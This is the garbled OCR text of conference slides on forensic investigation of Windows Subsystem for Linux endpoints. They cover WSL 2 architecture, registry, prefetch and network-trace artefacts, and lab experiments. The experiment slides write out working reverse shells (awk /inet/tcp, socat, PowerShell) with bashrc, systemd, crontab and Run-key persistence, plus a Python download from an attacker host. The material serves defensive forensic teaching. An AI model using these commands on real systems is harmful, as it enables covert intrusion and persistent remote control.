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#whoami

Director of Endpoint Detection & Response (EDR) at Tanium

Seasoned Incident Response professional with over a decade working in InfoSec and
specifically leading high-profile cases around the world, such as advanced targeted attacks,
nation-state attacks, and data breaches, to name a few

Public speaker at industry recognised conferences around the world:

DFRWS USA 2020
WSLConf (U.S.) 2020
OSDFCon (U.S.) 2019
OSDFCon (U.S.) 2018
IMF (Germany) 2018
OSDFCon (U.S.) 2017
BSidesNOLA (U.S.) 2017
BSidesMCR (U.K.) 2015

Research focus on memory analysis and automation, *nix-based forensics, cloud forensics,
and triage analysis
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Investigating WSL Endpoints

Since the announcement of the Windows Subsystem for Linux (WSL) back in 2016, there has been
a lot of excitement to try and leverage WSL across workstations and servers a like by organisations
and those that work in the industry.

What does that mean for someone who works as a Digital Forensics & Incident Response
professional?
Well adversaries and malware authors have already started focussing their attention on WSL;
therefore, it is important to understand the underlying architecture changes that will allow one
to investigate a compromised Windows 10 or Windows Server 2019 in the not too distant
future.

This talk will highlight the nuances to be aware of from a Digital Forensics & Incident Response
perspective and illustrate forensic artefacts of interest, which will consist of a forensic examination
on a WSL Endpoint to provide the audience an appreciation of what that entails and share insights
that will assist them when the time arises.
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What is WSL 27?

Full System Call Compatibility
WSL 2 has its own customised kernel specifically for WSL 2
Docker

WSL 1 had a translation layer to interpret the system calls, that allows them to
work on the Windows NT kernel

Faster than WSL 1

Raw sockets
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What is WSL 27?

New architecture for Windows Subsystem for Linux

Developed in-house kernel from stable branch at kernel.org source from version 4.19 kernel

Customised kernel specifically for WSL 2
As it's developed by Microsoft, updates to the kernel will be serviced by Windows Update

Lightweight Utility VM
Hyper-V hypervisor
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What does that mean for Digital
Forensics & Incident Response
professionals?



What does that mean for Digital Forensics & Incident Response
professionals?

Full System Call Compatibility

Lightweight Utility VM
Hyper-V hypervisor
Not a traditional Virtual Machine

EXT4 Virtual Disk

C:\Users\User\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindow
s_79rhkplfndgsc\LocalState\ext4.vhdx

Management of WSL
wsl.exe (WSL 2)
wslconfig (WSL 1)
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What does that mean for Digital Forensics & Incident Response
professionals?

Environment Variables

i Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Environment

v E3 Computer Name Type Data
HKEY_CLASSES_ROOT ab| (Default) REG_SZ (value not set)
v HKEY_CEURRtENT_USER EL] BASH_ENV REG_SZ /etc/bash.bashrc
222(;: * ab) OneDrive REG_EXPAND_SZ  C:\Users\User\OneDrive
K ab| OneDriveConsu... REG_EXPAND_SZ C\Users\User\OneDrive
Control Panel
B ab|path REG_EXPAND_SZ %USERPROFILE?:\AppData\Local\Microsoft\WindowsApps;
nvirenment
EUDC ab| TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp
Keyboard Layout ab| TMP REG_EXPAND_SZ %USERPROFILE%:\AppData\Local\Temp
Microsdfe ab| WSLENV REG_SZ BASH_ENV/u
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What does that mean for Digital Forensics & Incident Response
professionals?

Microsoft Store

Microsoft Store

< Home Apps Games Devices Films & TV
Results for: wsl
Departments Category PEGI Available on
v i v i v v
Apps All categories All ratings PC

Reset filters

Raft WSL Windows Terminal Ubuntu 18.04 LTS
= (Preview) * XAk 25

Kk KK 67 =

=2
Free® Free Free
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What does that mean for Digital Forensics & Incident Response
professionals?

WindowsApps

&« ) This PC Local Disk (C:) Program Files

Date modifi

Common Files 2/12/2019 21:43 File folder WindowsApps Properties X
Internet Explorer 7/12 4:46 File fo
ModifiableWindowsApps 7/12/2019 09:14 F s General Sharing Securty Previous Versions ~Customise
Uninstall Information 0/12

v A
| WindowsApps
VMware 0/12 3 i

Windows Defender 2/12/2019 21:46

. o Ty Fie fol
Windows Defender Advanced Threat Prot... 4 File folde yoe e folder
Windows Mail 07/12/20 4 File folde Location: C:\Program Files
Windows Media Player 07/12/2 4:49 File folder Size Obytes

Windows Multimedia Platform 12 4:49

Windows NT 7/12/201

Size on disk: 0Obytes

y - e < Contains: 0 Files, 0 Fold
Windows Photo Viewer V1272013 14:45 . o
Windows Portable Devices File fo
indows Portable Device: Created 07 December 2019, 09:14:52
Windows Security 07/12/2019 09:31 File f
WindowsApps 2 18:22

Attributes. [®] Read-only {Only applies to files in folder)

WindowsPowerShell 07/12/20
indowsPowerShel [~] Hidden Advanced.

Cace
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What does that mean for Digital Forensics & Incident Response
professionals?

WindowsApps

P » This PC » Local Disk (C:) Program Files > WindowsApps CanonicalGroupLimited.UbuntuonWindows_1804.2019.521.0_x64_ 79rhkp1fndgsc

Name Date modified fype Size
f

AppxMetadata 10/12/2019 14:1 File folder
Assets 10/12/2019 14:1 File folder
| AppxBlockMap 0/12/2019 141 214 KB
=] AppxManifest 0/12/2019 14:17 ML Document 4 KE
| AppxSignature.p7x 0/12/2018 14:17 P7X File
| install.tar.gz 10/12/2019 14:17 5Z File 225 762 KB
resources.pri 10/12/2019 14:17 PRI File 6 KB

&) ubuntu 0/12/2019 14:17 Application 207 KE
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What does that mean for Digital Forensics & Incident Response
professionals?

WindowsApps

» User > AppData Local > Microsoft > WindowsApps

Name Date modified Type ize
Backup 7/07/2020 13:46 File folde
CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc 17/07/2020 18:04

CanenicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc 08/07/2020 23:42
KaliLinux.54290C8133FEE_ey8k8hgnwgnmg 17/07/2020 13:46
Microsoft.DesktopApplnstaller_8wekyb3d8bbwe 17/07/2020 13:4
Microsoft.MicrosoftEdge_8wekyb3d8bbwe 2/12/2019 21:47
Microsoft.XboxGamingOverlay_8wekyb3d8bbwe 7/07/2020 13:4
TheDebianProject.DebianGNULinux_76v4gfsz19hv4 17/07/2020 13:41
5| debian 07/2020 13:41
[%] GameBarElevatedFT_Alias 17/07/2020 13:4
5] kali 7/07/2020 13:46
(=] MicrosoftEdge 12/12/2019 21:4
(5] python 17/07/2020 13:4
5| python3 17/07/2020
[ ubuntu 08/07/2020 23:42
[ ubuntu1804 17/07/2020 18:04

5| winget 07/2020 13:4
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What does that mean for Digital Forensics & Incident Response
professionals?

WindowsApps

This PC > Local Disk (C:) > Users User » AppData > Local » Microsoft > WindowsApps » CanonicalGrouplimited.Ubuntul18.04onWindows_79rhkp1fndgsc

Name Date modified Type

(5] ubuntu1804 17/07/2020 18:04 Application
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What does that mean for Digital Forensics & Incident Response
professionals?

Access to Linux files \Wwsl$\

R‘ecycle Bin

= | wslS

=
'PS C:\Users\User> wsl.exe
3 Fil H
G STATE VERSION L5 il
*

M Ubuntu Running —
L. Debian Stopped € = v h > Network > wslS v 0

Share

kali-linux Running
Alpine Running
PS C:\Users\User> s+ Quick access Alpine kali-linux Ubuntu
e »
Desktop -+ = N S
'NO“ & Downloads
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What does that mean for Digital Forensics & Incident Response

professionals?

Windows Terminal

= g explorer.exe 0.06 61,420 K 165872 K
P SecurityHealthSystray exe 1,680 K 10476 K
wa vmtoolsd exe 0.15 22,048K 50.368 K
@, OneDrive exe 15,904 K 42644 K

- (4 Windows Terminal .exe 0.51 21,704 K 77.204K
OpenConsole exe 1.980K $.940K

=) bW powershell exe 63,036 K 78,448 K

=) b powershell exe 63,404 K 78,184 K

= @} ubuntu.exe 1.488K 8.060 K

= A\ wslexe 1.292K 7.220K

- [ wshhost exe 1,144K 6684 K

[ conhost exe 6.716 K 15,308 K

27 procexp64.exe 257 25448 K 68472 K

TANIUM

5148 Windows Explorer PS C:\Users\User> ubuntu.exe

4180 Windows Security notification icon user@D
8032 VMware Tools Core Service )
8776 Microsoft OneDrive

1748

8864

6360 Windows PowerShell

6220 Windows PowerShell

2104

5076 Microsoft Windows Subsystem for Linux Launcher

3324 Microsoft Windows Subsystem for Linux Background Host
6860 Console Window Host

7160 Sysintemals Process Explorer

ESKTOP-91TT4IA:~$ |

Microsoft Comporation

Microsoft Comporation
Microsoft Comporation

Microsoft Comporation
Microsoft Comporation
Microsoft Corporation

Sysintemals - www sysintemals.com
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Forensic examination on a WSL
Endpoint



Forensic examination on a WSL Endpoint

Device specifications

- Environment: Device name  DESKTOP-91TT4IA
Processor H~l Core(TM) i7-7820HQ CPU @ 2.90GHz 2
- Windows 10 Pro eielledifeld (AN
- Version 2004 :jovclii: ':?D
- Installed on 12/12/2019 P—
- OS Build 19041.84 Pen and touch

Rename this PC

Windows specifications

Edition Windows 10 Pro
Version 2004

Installed on 12/12/2019

OS build 19041.84
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Forensic examination on a WSL Endpoint

Experiments

Persistence: Bashrc

Persistence: Persistence through Inception! (Systemd)
Persistence: Crontab

Execution: Bourne Shell Reverse Shell

Execution: PowerShell Reverse Shell

Execution: Python Download File

Lateral Movement: Remote File Copy

Command and Control: Custom Command and Control Protocol
Execution: wsl.exe

Execution: bash.exe

Execution: curl.exe

© © N o g R~ 0w DN~

PR N
= O
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Persistence: Bashrc



Forensic examination on a WSL Endpoint
Persistence: Bashrc

Registry Key: HKEY CURRENT_USER\Environment
Registry Key Name: BASH_ENV
Registry Data Name: /etc/bash.bashrc

i Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Environment

v & Computer Name Type Data
EIKEY _CEASSES ROGT ab) (Default) REG_SZ (value not set)
v HKI%Y_CEURRtENT_USER 4 BASH_ENV REG_SZ /etc/bash.bashrc
ki ab| OneDrive REG_EXPAND_SZ  C:\Users\User\OneDrive
ab| OneDriveConsu... REG_EXPAND_SZ C:\Users\User\OneDrive
Control Panel
i ab|Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
nvironment
EUDC ab| TEMP REG_EXPAND_SZ %USERPROFILE%:\AppData'\Local\Temp
Keyboard Layout ab| TMP REG_EXPAND_SZ %USERPROFILE%:\AppData\Local\Temp
Microsoft ab| WSLENV REG_SZ BASH_ENV/u
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Forensic examination on a WSL Endpoint

Persistence: Bashrc

Modify /etc/bash.bashrc

root@DESKTOP-91TT4IA:/var/log# tail -n8 /etc/bash.bashrc

export attacker_host=192.168.9.133
export attacker_port=66

awk -v attacker_host=$attacker_host -v attacker_port=$attacker_port 'BEGIN {
s = "/inet/tcp/@/" attacker_host "/" attacker_port;
while (1) {printf " |& s; if ((s |& getline c) <= @) break;
while (c & (c |& getline) > @) print $@ |& s; close(c)}}’

&

root@ESKTOP-91TT4IA: /var/log#

@P Ubuntu

TANIUM

Attacker Listener

] Terminal - user@c2:
Terminal - user@c2: ~

Tabs Help

rootac2:/hom # nc -v -1 -p 66
listening on [any] 66

File Edit View Terminal

192.168. inverse host lookup failed: Unknown host
connect to [192.168.9.133] from (UNKNOWN) [

cat /etc/os lease
NAME="Ubunt
VERSIO
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_I
HOME_URL="https://
SUPPORT_URL="https
BUG_REPORT_URL="https
PRIVACY_POLICY_URL="http
VERSION_CODEN bionic
UBUNTU_CODENAM ionic
> uname -a
Linux DESKTOP-91TT4IA 4.19.84-microsoft-standard #1 SMP Wed Nov 13 11:44:37 UTC 2019 x86_64 x86_64

.04.2 LTS (Bionic Beaver)"

help.ubuntu.com/
s.launchpad.net/ubuntu/"

w .ubuntu.com/legal/terms-and-policies/privacy-policy”

017 Tanium. All rights reserved



Forensic examination on a WSL Endpoint
Persistence: Bashrc

* Trace the MAC times and data contents
+ /etc/bash.bashrc, ~/.bash history, ~/.sh history

* Timeline of the inodes

* Process Execution:
- AMCache Program Entries
* 2020-02-26 10:21:57,CanonicalGroupLimited.UbuntuonWindows,1804.2019.521

- AMCache Associated File Entries
* CanonicalGroupLimited.UbuntuonWindows,2019-12-12 21:48:22
. AppCompactCache

C:\Program
Files\WindowsApps\CanonicalGroupLimited.UbuntuonWindows 1804.2019.521.0 x64

__79rhkplfndgsc\ubuntu.exe
* CanonicalGroupLimited.UbuntuonWindows

©2017 Tanium. All rights reserved
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Forensic examination on a WSL Endpoint
Persistence: Bashrc

* UserAssist

@ UserAssistView
File Edit View Options Help

BE e 9R

Item Name Index Count
@ UEME_CTLSESSION 2 289
@ UEME_CTLSESSION 70 101
@ Microsoft.Windows.Explorer 16 42

L 4 CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc!ubuntu

D {9E3995AB-1F9C-4F13-B827-48B24B6C7174\ TaskBar\File Explorer.Ink 74 36
@ {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7\cmd.exe 19 24
@ {ATTFSD77-2E2B-44C3-A6A2-ABABD1054A51 \System Tools\Command Prompt.Ink 73 24

TANIUM

Modified Time ClassID
{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}
{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}

09/03/2020 10:39:35 {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}

09/03/2020 09:56:09 {CEBFFSCD-ACE2-4F4AF-9178-9926F41749EA}
09/03/2020 10:39:35 {F4E57C4B-2036-45F0-A9AB-443BCFE33DSF}
09/03/2020 09:47:47 {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}

09/03/2020 09:47:47 {F4E57C4B-2036-45F0-A%AB-443BCFE33DSF}
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Forensic examination on a WSL Endpoint
Persistence: Bashrc

* Prefetch
+ /Windows/Prefetch/UBUNTU.EXE-39E7ED6A.pf

 /Users/User/AppData/Local/Packages/CanonicalGroupLimited.UbuntuonWindows 79rhkpl
fndgsc/LocalState/ext4.vhdx

« /Users/User/AppData/Local/Microsoft/WindowsApps/ubuntu.exe

+ /Users/User/AppData/Local/Microsoft/WindowsApps/CanonicalGroupLimited.UbuntuonWi
ndows 79rhkplfndgsc/ubuntu.exe
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Persistence: Persistence through
Inception! (Systemd)



Forensic examination on a WSL Endpoint
Persistence: Persistence through Inception! (Systemd)

Systemd Service Attacker Listener

00t@DESKTOP-91TT4IA:~# cat /var/tmp/start_service - =
xport attacker host=192.168.9.133 ﬂ | - D =g I [] Terminal - user@c2: ~
fexport attacker_port=22
socat tcp-connect:$attacker_host:$attacker_port exec:sh,pty,stderr,setsid,sigint,sane
00t@DESKTOP-91TT4IA:~# systemctl enable start_service.service

Terminal - user@c2: ~

File Edit View Terminal Tab$> Help

i 00t@DESKTOP-91TT4IA:~# systemctl start start_service.service
fefs 00t@DESKTOP-91TT4IA: ~# rootac2:/home/users# socat file: tty ,raw,echo=0 tcp-listen:22
- sh: @: can't access tty; job control turned off
5 $ uname -a
;§Eﬂ Linux DESKTOP-91TT4IA 4.19.84-microsoft-standard #1 SMP Wed Nov 13 11:44:37 UTC 2019 x86_64 x86_6b4

$ cat /etc/os-release
NAME="Ubuntu"

VERSION="18.04.4 LTS (Bionic Beaver)"

ID=ubuntu

ID_LIKE=debian

PRETTY_NAME="Ubuntu 18.04.4 LTS"

VERSION_ID="18.04"

HOME_URL="https://wwmw.ubuntu.com/"

SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://vww.ubuntu.com/legal/terms-and-policies/privacy-policy”
VERSION_CODENAME=bionic

UBUNTU_CODENAME=bionic

s 1
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Forensic examination on a WSL Endpoint
Persistence: Persistence through Inception! (Systemd)

Run Key Attacker Listener

[ e E:I [ Terminal - user@c2

iPS C:\Users\User> Get-Item - S
Terminal - user@c2: ~

Hive: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion File Edit View Termingi Ta Help

Property : tty ,raw,echo=0 tcp-listen:22
can't acce 4 3 trol turned off
OneDrive : "C:\Users\User\AppData\Local\Microsoft\OneDrive\OneDrive.exe"

/packerond : . ir .84-microsoft-standard #1 SMP Wed Nov
start_service : c:\users\user\appdata\local\microsoft\windowsapps\ubuntu.exe CHalBNeE
ERSION= 04.4 LTS (Bionic Be

ID=ubuntu
ID_LIKE=d
PRETTY_NA! 2 Q4.4 LTS"

3 p.ubuntu.
BUG_REPORT_URL="https .launchpad.net/ubuntu/
PRIVACY_POLICY_URL="https:// ubuntu.com/legal/terms-and-policies/privacy-policy”
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Forensic examination on a WSL Endpoint
Persistence: Persistence through Inception! (Systemd)

¢ Systemd Journals
/run/log/journal/*/system. journal
/run/systemd/journal/*

* Systemd configuration files

/etc/systemd/system/*
/run/systemd/ *
/var/lib/systemd/*
/usr/lib/systemd/*

* Registry Artefacts for persistence
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Forensic examination on a WSL Endpoint
Persistence: Persistence through Inception! (Systemd)

tmp Directory MAC Times

& ShelBags Explorer v1.4.0.0
File Toels Help

alue
4fgt  Desktop
»LF My Con MRU Position | Created On Modified @r gcessed On First Interacted Last Interacted Has Explored | Miscellaneous
4 S Computers and Devices ! - - - - = = ] Ae
48 w 1 exFAT file
’ 4gz  \\wsl$\Ubuntu 2 exFAT
mp 3 2020-03-09p0 2 1 52 2020-03-05 16:19:28 exFAT
¥ e » Directory 0 2020-02-20 18:13:10 2020-03-05 12:37:44 2020-02-20 18:13:10 2020-03-05 16:19:37 2020-03-05 16:23:06 exFAT file system
» etc
dev

First and last interacted
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Persistence: Crontab



Forensic examination on a WSL Endpoint

Persistence: Crontab

Modify /etc/crontab

¥ root@DESKTOP-91TT4lA: ~

1 DESKTOP-91TT4IA cron[183]: (*system®) RELOAD (/etc/crontab)

DESKTOP-91TT4IA kernel: [ 1458.755636] WSL2: Performing memory compaction.

: 1 DESKTOP-91TTAIA CRON[1144]: (root) CMD (/dev/shm/start)
root@DESKTOP-91TTAIA: ~#

TANIUM

Attacker Listener

erminal - user@c
Terminal - user@c2: ~

File Edit View Terminal Tabs
led: Unknown host
9.132] 60919

#1 SMP Wed Nov 13 11 7 UTC 2019
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Execution: Bourne Shell Reverse Shell



Forensic examination on a WSL Endpoint
Execution: Bourne Shell Reverse Shell

Bourne Shell Reverse Shell Attacker Listener

Terminal - user@c2: ~

File Edit View Termin:

connect to r iN) [ 68.9.132] 60592
# 8B B B unar

Linux DESKTOP-S 4IA 4.19 -microsoft-standard #1 SMP Wed Nov
#f cat /etc

DISTRI
DISTRI
DISTRI

¢ 1
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Execution: PowerShell Reverse Shell



Forensic examination on a WSL Endpoint
Execution: PowerShell Reverse Shell

dows\System32\WindowsPowerShell\v1.0\powershell.exe

PowerShe” = »/var/tmp# /mnt/c/Windows/System32/WindowsPowerShell/v1.0/./powershell.exe -executionpolicy bypass ./ps_rvrs_shell.

Reverse
Shell

e0e | B
E l'-;- - D o : Terminal—user@c2:~

Terminal

File Edit View Terminal Tabs Help

Attacker
Listener
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Execution: Python Download File



Forensic examination on a WSL Endpoint
Execution: Python Download File

hﬁ@i@‘.ﬁi’ ‘ *@ root@DESKTOP-91TT4lA: /dev/shm

Python

DBC/) nload  TOUtADESKTOP=91TT4TIA: /dev/shm# python -c "import sys; from os import environ as e
\i4 S R if sys.version_info.major == 3: import urllib.request as r

File N - felse: import urllib as r

ir.urlretrieve(e["attacker_infrastructure”], e["file"])"
Eroot@DESKTOP-91TT4IA: /dev/shm# 1s -1tr here
-rw-r--r-- 1 root root 19 Mar 3 13:25 here

root@DESKTOP-91TT4IA: /dev/shmi
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Lateral Movement: Remote File Copy



Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

BX Administrator: Command Prompt

Enable trace

Running
C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.etl

C:\Users\User\Analysis>_

TAN'UM ©2017 Tanium. All rights reserved




Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

netsh trace start Download file with python

root@DESKTOP-91TT4IA: /home/user

root@DESKTOP-91TT4IA: /home/user# python -c "import sys; from os import environ as e
> if sys.version_info.major == 3: import urllib.request as r
> else: import urllib as r
> r.urlretrieve(e["attacker_infrastructure"], e["file"])"
root@ESKTOP-91TT4IA: /home/user# 1s -1tr here
Running -rw-r--r-- 1 root root 19 Mar 6 10:12 here
C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.etl root@DESKTOP-91TT4IA: /home/users#
off
On
512 MB
off

C:\Users\User\Analysis>

TANIUM
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Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

Stop trace

Running
C:\Use User\AppPata\Local\Temp\NetTraces\NetTrace.etl
off
fCircular: On
fiax Size: 512 MB
off

:\Users\User\Analysis>netsh trace stop
IMerging traces ... done
LGenerating data collection ... done
..The trace file and additional troubleshooting information have been compiled as "C:\Users\User\AppData\lLocal\Temp\NetTra
f)-ces\NetTrace.cab".
File location = C:\Users\User\AppData\lLocal\Temp\NetTraces\NetTrace.etl
¥ Tracing session was successfully stopped.
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Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

No. Time Source Destination Protocol Length Info
8 60.846364 172.23.186.84 192.168.9.133 155 GET /here.c HTTP/1.0

10 60.848423 192.168.9.133 172.23.186.84 HTTR 33 HTTP/1.1 200 OK (text/x-csrc

Download file with python

Packet comments

Frame 8: 156 bytes on wire (1248 bits), 156 bytes captured (1248 bits) on interface 1 (inbound)
Ethernet II, Src: Microsof_c8:4c:d6 (00:15:5d:c8:4c:d6), Dst: Microsof_22:01:08 (00:15:5d:22:01:08)
Internet Protocol Version 4, Src: 172.23.186.84, Dst: 192.168.9.133

Transmission Control Protocol, Src Port: 35508, Dst Port: 80, Seq: 1, Ack: 1, Len: 90

v pgrtext Transfer Protocol

> Gl Rgre.c HTTP/1.0\r\n

vyVYYy

v

[Full request™QI: http://192.168.9.133/here.c]
[HTTP request 1/1

[Response in frame: 10

00 15 5d 22 @01 08 00 15 ONg8 4c d6 08 00 45 00
00 8e 6d a3 40 00 40 06 9c 2d%g 17 ba 54 c0@ a8
09 85 8a b4 00 50 dd @c d5 ce ¢ 72 68 80 18
00 e5 4e Oc 00 00 01 01 08 0a 6b 4b le do 04

ac @a 47 45 54 20 2f 68 65 72 65 2e 63 M348 54 ere.c HT
54 50 2f 31 2e 30 @d @a 48 6f 73 74 3a 20 9 Host: 19
32 2e 31 36 38 2e 39 2e 31 33 33 od @a 55 73 6 . 133..Use

72 2d 41 67 65 6e 74 3a 20 50 79 74 68 6f 6e 2d r-Agent: Python-
75 72 6¢c 6¢c 69 62 2f 31 2e 31 37 @d @a 41 63 63 urllib/1 .17..Acc
65 70 74 3a 20 2a 2f 2a 0d 0a 0d @a ept: */*% ...

TANIUM
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Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

http
No. Time Source Destination
8 60.846364 172.23.186.84 192.168.9.133
10 60.848423 192.168.9.133 172.23.186.84

Packet comments
Frame 10: 333 byte.
Ethernet I

v

vv

Protocol
HTTP

Length Info
136 GET /here.c HTTP/1.0
HTTP/1.1 200 OK (text/x-csrc)

Wireshark - Export - HTTP object list

Filename

19 bytes here.c

| Packe & Hostname Content Type  Size

10 192.168.9.133 text/x-csrc

re (2664 bits), 333 bytes captured (2664 bits) /

% Microsof_22:01:08 (00:15:5d:22:01:08), Dst: i

o 2

In
ransmission Cont
ansfer Protocol
v HTTP/1.1 200 OK\r\n

Download file With python v [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]

[HTTP/1.1 200 OK\r\n]

rotocol Version 4, Src: 192.

ISeveritv level: Chatl
00 15 5d c8 4c d6 00 15 5d 22 01 08 08 00 45 00
01 3f 22 f9 40 00 3f 06 e7 26 c@ a8 09 85 ac 17
ba 54 00 50 8a b4 c2 6f 72 68 dd @c d6 28 80 18
01 fd 3f 35 00 00 01 01 08 0a d0 04 ac @d 6b 4b
31 1e 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f
4b @d 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 36
20 4d 61 72 20 32 30 32 30 20 31 30 3a 31 32 3a
31 39 20 47 4d 54 od @a 53 65 72 76 65 72 3a 20 19 GMT..
41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 44  Apache/2
65 62 69 61 6e 29 @d @a 4c 61 73 74 2d 4d 6f 64 ebian)..
69 66 69 65 64 3a 20 54 68 75 2c 20 31 33 20 46 ified: T
65 62 20 32 30 32 30 20 31 38 3a 35 30 3a 31 30 eb 2020
20 47 4d 54 od @a 45 54 61 67 3a 20 22 31 33 2d GMT. .ET
35 39 65 37 39 38 65 66 37 63 35 35 36 22 0d 0a 59e798ef
41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 Accept-R
79 74 65 73 0d @a 43 6f 6e 74 65 6e 74 2d 4c 65 ..Co
6e 67 74 68 3a 20 31 39 0od @a 43 6T 6e 6e 65 63 19
74 69 6f 6e 3a 20 63 6c 6T 73 65 0d @a 43 6f 6e :cl
74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f  tent-Typ
78 2d 63 73 72 63 @d @a 0Od @a 65 63 68 6T 20 22 x-csrc..
48 65 6c 6¢c 6T 20 54 68 65 72 65 22 @a Hello Th

TANIUM

T: 1/2.23.186.84
C Port: 80, Dst Port: 35508, Seq: 1, Ac

. kK
.1 200 0
Fri, 06
0 10:12:
Server:
.4.41 (D
Last-Mod
hu, 13 F
18:50:10
ag: "13-
7¢556"..
anges: b
ntent-Le
..Connec
ose..Con
e: text/
..echo "
ere".

Help Save All Save
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Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

(&) & Wireshark - Export - HTTP object list
Packe & Hostname Content Type Size Filename
10 192.168.9.133 text/x-csrc 19 bytes here.c
Extract and download file
Help Save All Save
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Command and Control: Custom
Command and Control Protocol



Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

jcrTrace File:

Enable and stop trace Bappend:

Circular:

Max Size:

]
NG
tE,FC:\Users\User\Analysis>netsh trace stop
iMerging traces ... done
rGenerating data collection ... done
..The trace file and additional troubleshooting information have been compiled as "C:\Users\User\AppData\Local\Temp\NetTra
Sces\NetTrace.cab”.
iFile location = C:\Users\User\AppData\lLocal\Temp\NetTraces\NetTrace.etl
§Tracing session was successfully stopped.
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Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

attacker_host:$attacker_port exec:sh,pty,stderr,setsid,sigint,sane

- ] .l EI : Terminal - user@c2: ~

Terminal - user@c2: ~

File Edit View Terminal Tabs Help
r. ,raw,echo=0 tcp-lis
ntrol turned off

Socat Reverse Shell ane B

19 Mar

PID PPID C STIME
[

2017 Tanium. All rights reserved




Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

StOp trace .-‘-" sAlsendfnelyshs>netsh trace stop

.. done
enerating data collection ... done
he trace file and additional troubleshooting information have been compiled as "C:\Users\User\AppData\Local\Temp\NetTr3

es\NetTrace.cab".

ile location = C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.etl
racing session was successfully stopped.
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Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

No. Time Source Destination Protocol  Length Info
49 461.749334 172.23.186.84 192.168.9.133 TCP 117 43674 666
228 502.194078 172.23.186.84 192.168.9.133 TCP T 43674 - 666
230 502.194797 172.23.186.84 192.168.9.13 CcP 122 43674 - 666
232 502.195342 172.23.186.84 9 65.9.133 TCP 68 43674 - 666
242 634.594968 172.23, 1858 192.168.9.133 TCP 67 43674 - 666
245 634.710389 .23.186.84 192.168.9.133 TCP 67 43674 - 666
248 63404 4 172.23.186.84 192.168.9.133 TCP 67 43674 - 666

v Transmission Control Protocol, Src Port: 43674, Dst Port: 666, Seq: 1, Ack: 1, Len: 51

Socat Reverse Shell Shyres o e

=P Destination Port: 666
[Stream index: 1]
[TCP Segment Len: 51]
uence number: 1 (relative sequence number)
[Nex uence number: 52 (relative sequence number)]
Acknowledgm umber: 1 (relative ack number)
cees = th: 32 bytes (8)

d6 08 00 45 00 Y L eoEs

«0..@.@. .d...T..

0020 09 85 aa 9a 02 9a fc ed 3c 96 a4 c@ 28 2>~80 18 ........ PR e

D030 00 e5 00 12 00 00 91 01 ©8 @a 6b seeasss ssKQ0$a.

0040 ca 3b 73 68 3a 20 30 3a 20 63 61 6e 27 74 20 61 .3sh: 8: can't a
63 63 65 73 73 20 74 74 79 3b 20 6a 6T 62 20 63 ccess tt y; job ¢
6f 6e 74 72 6f 6¢c 20 74 75 72 6e 65 64 20 6f 66 ontrol t urned of
66 0d 0a 23 20 fou#t
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Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

.‘ 91 479.788359 172.23.186.84 192.168.9.133 TCP 183 43674 - 666
‘ 92 479.788809 192.168.9.133 172.23.186.84 TCP 66 666 - 43674
93 479.789361 172.23.186.84 192.168.9.133 TCP 68 43674 - 666
94 479.789693 192.168.9.133 172.23.186.84 TCP 66 666 - 43674

» Packet comments
» Frame 91: 183 bytes on wire (1464 bits), 183 bytes captured (1464 bits) on interface 1 (inbounc
» Ethernet II, Src: Microsof_c8:4c:d6 (00:15:5d:c8:4c:d6), Dst: Microsof_22:01:08 (00:15:5d:22:01
» Internet Protocol Version 4, Src: 172.23.186.84, Dst: 192.168.9.133
v Transmission Control Protocol, Src Port: 43674, Dst Port: 666, Seq: 62, Ack: 10, Len: 117
Source Port: 43674
Destination Port: 666

[TCP Segment Len: 117]

Socat Reverse She” Sequence number: 62 (relative sequence number)
[Next sequence number: 179 (relative sequence number)]
Acknowledgment number: 10 (relative ack number)

1000 .... = Header Length: 32 bytes (8)
= 0x018 (PSH, ACK)
Window siz

00 15 5d s l%eass JaLeusEs
00 a9 8a s af@al@s sawas Lava
09 85 aa casaaens Cansldas
00 e5 76 eeVeasss aakQiaae
0040 10 b5 4c 69 6e 75 78 20 44 45 53 4b 54 4f 50 2d " ..Linux DESKTOP-

0050 39 31 54 54 34 49 41 20 34 2e 31 39 2e 38 34 2d 91TT4IA 4.19.84-
0060 6d 69 63 72 6f 73 6f 66 74 2d 73 74 61 6e 64 61 microsof t-standa
0070 72 64 20 23 31 20 53 4d 50 20 57 65 64 20 4e 6f rd #1 SM P Wed No
0080 76 20 31 33 20 31 31 3a 34 34 3a 33 37 20 55 54 v 13 11: 44:37 UT
